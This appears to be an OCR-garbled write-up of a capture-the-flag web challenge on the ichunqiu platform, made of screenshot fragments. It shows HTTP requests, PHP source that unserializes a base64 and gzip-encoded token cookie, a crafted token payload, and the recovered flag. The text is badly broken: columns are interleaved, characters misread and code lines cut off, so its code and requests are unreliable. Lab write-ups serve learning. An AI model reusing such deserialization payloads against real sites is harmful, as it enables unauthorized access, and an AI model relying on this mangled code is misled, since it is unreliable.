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iET fmemberphp HTTP/1.1 & HTTP/1.1 200 OK

ost: 40c24e390c6c4a6h83f4304a00163317916668265c34b4e.changame.ichungiu.com Date: Thu, 05 Sep 2019 04:00:25 GMT
ser-Agent: Mozilla/5.0 (WVindows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0 Content-Type: text/html;charset=utf-8
ceept: text/html,application/<html+xml application/xml:q=0.9,%/*q=08 Content-Length: 69

ccept-Language: zh-CN,zh;g=0.8,zh-TW;g=0.7,zh-HK;q=0.5,en-US;9=0.3,en;q=0.2 Connection: close

cecept-Encoding: gzip, deflate Vary: Accept-Encoding

eferer: http://40c24e390c6c4a6fb83f4304a00163317916668265c34bde.changame.ichungiu.com/ Expires: Thu, 19 Nov 1981 08:52:00 GMT
onnection: close Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
ookie: Hm_Ivt 2d0601bd28de7d49818249cf35d95943=1566542075; Hm_Ipvt 2d0601bd28de7d49818249cf35d95943=1566621174; Pragma: no-cache
_Jsluid_h=9b4b5964cbb598936d78dd55aef700ff; PHPSESSID=rom8halehqrimfep3voefs0t33 show: 0

pgrade-Insecure-Requests: 1 Vary: Accept-Encoding

X-Via-JSL: 6120adb,-
X-Cache: bypass

<head>

<meta charset="utf-8" />
</head>
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GET /member.php HTTP/1.1 [

Host: 40c24e390c6c4a6bB3 f4304a00163317916668265c34bde.changame.ichungiu.com -
e($_GET, $_ POST, § SESSION, §_COOKIE);

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0 Srequset

Accept: text/html,application/xhtmi+xml,application/xml:q=0.9.%/%q=0.8 class db

Accept-Language: zh-CN zhiq=0.8,zh-TWiq=07,zh-HK;q=0.5,en-US;q=03,eniq=0.2 {

Accept-Encoding: gzip, deflate public $where;

Referer: http://40c24e390c6c4a6fb83f4304a00163317916668265c34bde.changame.ichungiu.com/ function _ eup()

Connection: close {

Cookie: Hm_lvt_2d0601bd28de7d49818249cf35d95943 =1566542075; Hm_lpvt_2d0601bd28de7d498168249cf35d95943=1566621174; iftlempty($ this->where))
_Jsluid_h=9b4b5964cbb598936d73dd55aef7 00ff; PHPSESSID=rom8halehqrimfep3voef50t33 {

Upgrade-Insecure-Requests: 1 $this->select($this->where);
show: 1 }

“Swhere);

(gzuncompress(base64_decode($requsettokenT);

ql_real_escape_string($login[user’

Jelse if§row[pass Slogin[pass’)
echo 'unserialize injection!!”;

Jelsef

echo "¢ ‘oY ~1—L =
]

Jelse{

er(’Location: index.php?error=17);
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request(token=>array(user=>xxx), XX, XxXxX)

o $login = ialize( (baseb4_d s Mo -
$request= array_merge [ eI UNUEEEL SR
($_GE-I-' $_POST" $—SES request(token=>array(user=>>xxx),XXXXX,XXX

SION, $_ COOKIE); x) AT ES BER S sElE
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Kitokenfit A | COOKIE#

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,% E
Accept-Language: zh-CN zh;q=0.8,zh-TW;q=0.7 zh-HK;q=0.5,en-US;q=0.3 en;q=0.2

Accept-Encoding: gzip, deflate

Referer: http://40c24e390chc4ab6fbB3f4304a00163317916668265c34bde changame.ichungiu.com/

Connection: close

Cookie: Hm_Ivt 2d0601bd28de7d49818249¢f35d95943=1566542075; Hm Ipvt 2d0601bd28de7d49818249cf35d95943 =1566621174;
_jsluid_h=9b4b5964cbb598936d78dd55aef7 00ff;
PHPSESSID=rom8halehqrimfep3voef50t33;token=elxtDKOQi62MrFSKi1OLVKyLraysFLKTM4o0zSwMLFWyrgU AcdoKXA= =
Upgrade-Insecure-Requests: 1

show: 1
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class db

ublic $wh
function _ eup()

r

iflisset{$requset['token']))

{

$login = unserialize(gzuncompress(base64_decode($requsetltok

I escape_string($login[us

echo

fex.php?error=17);

7> -->flag{90b86785-7d53-4a55-beBb-0b23d0e531a1}
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